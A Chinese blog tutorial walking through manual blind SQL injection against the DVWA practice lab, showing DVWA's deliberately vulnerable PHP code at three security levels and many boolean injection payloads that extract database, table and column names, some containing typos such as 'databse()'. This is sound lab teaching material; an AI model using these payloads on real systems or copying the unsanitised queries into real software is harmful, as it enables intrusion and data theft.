美文网首页
Kali Linux系统利用DVWA靶场进测试SQL注入漏洞:

Kali Linux系统利用DVWA靶场进测试SQL注入漏洞:

作者: 我准备注销了请取关 | 来源:发表于2019-04-17 12:34 被阅读0次

    手工盲注:

    手工盲注分为基于布尔的盲注、基于时间的盲注以及基于报错的盲注,手工盲注步骤:1.判断是否存在注入,注入是字符型还是数字型;2.猜解当前数据库名;3.猜解数据库中表名;4.猜解表中的字段名;5.猜解数据.

    Low安全级别源代码:

    <?php

    if( isset( $_GET[ 'Submit' ] ) ) {

      // Get input

      $id = $_GET[ 'id' ];

      // Check database

      $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

      $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

      // Get results

      $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors

      if( $num > 0 ) {

          // Feedback for end user

          echo '<pre>User ID exists in the database.</pre>';

      }

      else {

          // User wasn't found, so the page wasn't!

          header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

          // Feedback for end user

          echo '<pre>User ID is MISSING from the database.</pre>';

      }

      ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);

    }

    注:可以看到Low级别代码对参数id没有做任何检查、过滤,存在明显的SQL注入漏洞,同时SQL语句查询返回的结果只有两种,User ID exists in the database.与User ID is MISSING from the database.因此这里是SQL盲注漏洞。

    1.判断是否存在注入,注入是字符型还是数字型

    输入1,显示相应用户存在:

    Kali Linux系统利用DVWA靶场进测试SQL注入漏洞:

    输入1’ and 1=1 #,显示存在:

    Kali Linux系统利用DVWA靶场进测试SQL注入漏洞:

    输入1’ and 1=2 #,显示不存在:

    Kali Linux系统利用DVWA靶场进测试SQL注入漏洞:

    说明存在字符型SQL盲注!


    2.猜解当前数据库名

    想要猜解数据库名,首先要猜解数据库名的长度,然后挨个猜解字符,输入:1’ and length(database())=1 #,显示不存在;输入1’ and length(database())=2 #,显示不存在;输入1’ and length(database())=3 #,显示不存在;输入1’ and length(database())=4 #,显示存在,说明数据库名长度为4.


    3.采用二分法猜解数据库名:输入:1’ and ascii(substr(databse(),1,1))>97 #,显示存在,说明数据库名的第一个字符的ascii值大于97(小写字母a的ascii值);输入1’ and ascii(substr(databse(),1,1))<122 #,显示存在,说明数据库名的第一个字符的ascii值小于122(小写字母z的ascii值);输入1’ and ascii(substr(databse(),1,1))<109 #,显示存在,说明数据库名的第一个字符的ascii值小于109(小写字母m的ascii值);输入1’ and ascii(substr(databse(),1,1))<103 #,显示存在,说明数据库名的第一个字符的ascii值小于103(小写字母g的ascii值);输入1’ and ascii(substr(databse(),1,1))<100 #,显示不存在,说明数据库名的第一个字符的ascii值不小于100(小写字母d的ascii值);输入1’ and ascii(substr(databse(),1,1))>100 #,显示不存在,说明数据库名的第一个字符的ascii值不大于100(小写字母d的ascii值),所以数据库名的第一个字符的ascii值为100,即小写字母d,重复上述步骤,就可以猜解出完整的数据库名.


    4.猜解数据库中的表名:

    首先猜解数据库中表的数量:

    1’ and (select count (table_name) from information_schema.tables where table_schema=database())=1 # 显示不存在

    1’ and (select count (table_name) from information_schema.tables where table_schema=database() )=2 # 显示存在

    说明数据库中共有两个表.

    接着挨个猜解表名:

    1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 # 显示不存在

    1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2 # 显示不存在

    1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # 显示存在

    说明第一个表名长度为9.

    1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 # 显示存在

    1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 # 显示存在

    1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109 # 显示存在

    1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 # 显示不存在

    1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 # 显示不存在

    说明第一个表的名字的第一个字符为小写字母g,重复上述步骤,即可猜解出两个表名(guestbook、users)


    5.猜解表中的字段名:

    首先猜解表中字段的数量:

    1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)=1 # 显示不存在…

    1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)=8 # 显示存在

    说明users表有8个字段.

    接着挨个猜解字段名:

    1’ and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1 # 显示不存在

    1’ and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7 # 显示存在

    说明users表的第一个字段为7个字符长度。

    采用二分法,即可猜解出所有字段名.


    6.猜解数据,同样采用二分法:

    Medium安全级别源代码:

    <?php

    if( isset( $_POST[ 'Submit' ] ) ) {

      // Get input

      $id = $_POST[ 'id' ];

      $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

      // Check database

      $getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";

      $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

      // Get results

      $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors

      if( $num > 0 ) {

          // Feedback for end user

          echo '<pre>User ID exists in the database.</pre>';

      }

      else {

          // Feedback for end user

          echo '<pre>User ID is MISSING from the database.</pre>';

      }

      //mysql_close();

    }

    注:可以看到,Medium级别的代码利用mysql_real_escape_string函数对特殊符号\x00,\n,\r,,’,”,\x1a进行转义,同时前端页面设置了下拉选择表单,希望以此来控制用户的输入。虽然前端使用了下拉选择菜单,但我们依然可以通过抓包改参数id,提交恶意构造的查询参数.

    7.基于布尔的盲注:

    抓包改参数id为1 and length(database())=4 #,显示存在,说明数据库名的长度为4个字符;抓包改参数id为1 and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,显示存在,说明数据中的第一个表名长度为9个字符;抓包改参数id为1 and (select count(column_name) from information_schema.columns where table_name= 0×7573657273)=8 #,(0×7573657273为users的16进制)显示存在,说明uers表有8个字段.


    High安全级别源代码:

    <?php

    if( isset( $_COOKIE[ 'id' ] ) ) {

      // Get input

      $id = $_COOKIE[ 'id' ];

      // Check database

      $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";

      $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

      // Get results

      $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors

      if( $num > 0 ) {

          // Feedback for end user

          echo '<pre>User ID exists in the database.</pre>';

      }

      else {

          // Might sleep a random amount

          if( rand( 0, 5 ) == 3 ) {

              sleep( rand( 2, 4 ) );

          }

          // User wasn't found, so the page wasn't!

          header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

          // Feedback for end user

          echo '<pre>User ID is MISSING from the database.</pre>';

      }

      ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);

    }

    注:可以看到High级别代码利用cookie传递参数id,当SQL查询结果为空时,会执行函数sleep(seconds),目的是为了扰乱基于时间的盲注。同时在 SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。虽然添加了LIMIT 1,但是我们可以通过#将其注释掉。

    抓包将cookie中参数id改为1’ and length(database())=4 #,显示存在,说明数据库名的长度为4个字符;抓包将cookie中参数id改为1’ and length(substr(( select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,显示存在,说明数据中的第一个表名长度为9个字符;抓包将cookie中参数id改为1’ and (select count(column_name) from information_schema.columns where table_name=0×7573657273)=8 #,(0×7573657273为users的16进制)显示存在,说明uers表有8个字段.

    相关文章

      网友评论

          本文标题:Kali Linux系统利用DVWA靶场进测试SQL注入漏洞:

          本文链接:https://www.haomeiwen.com/subject/dgggwqtx.html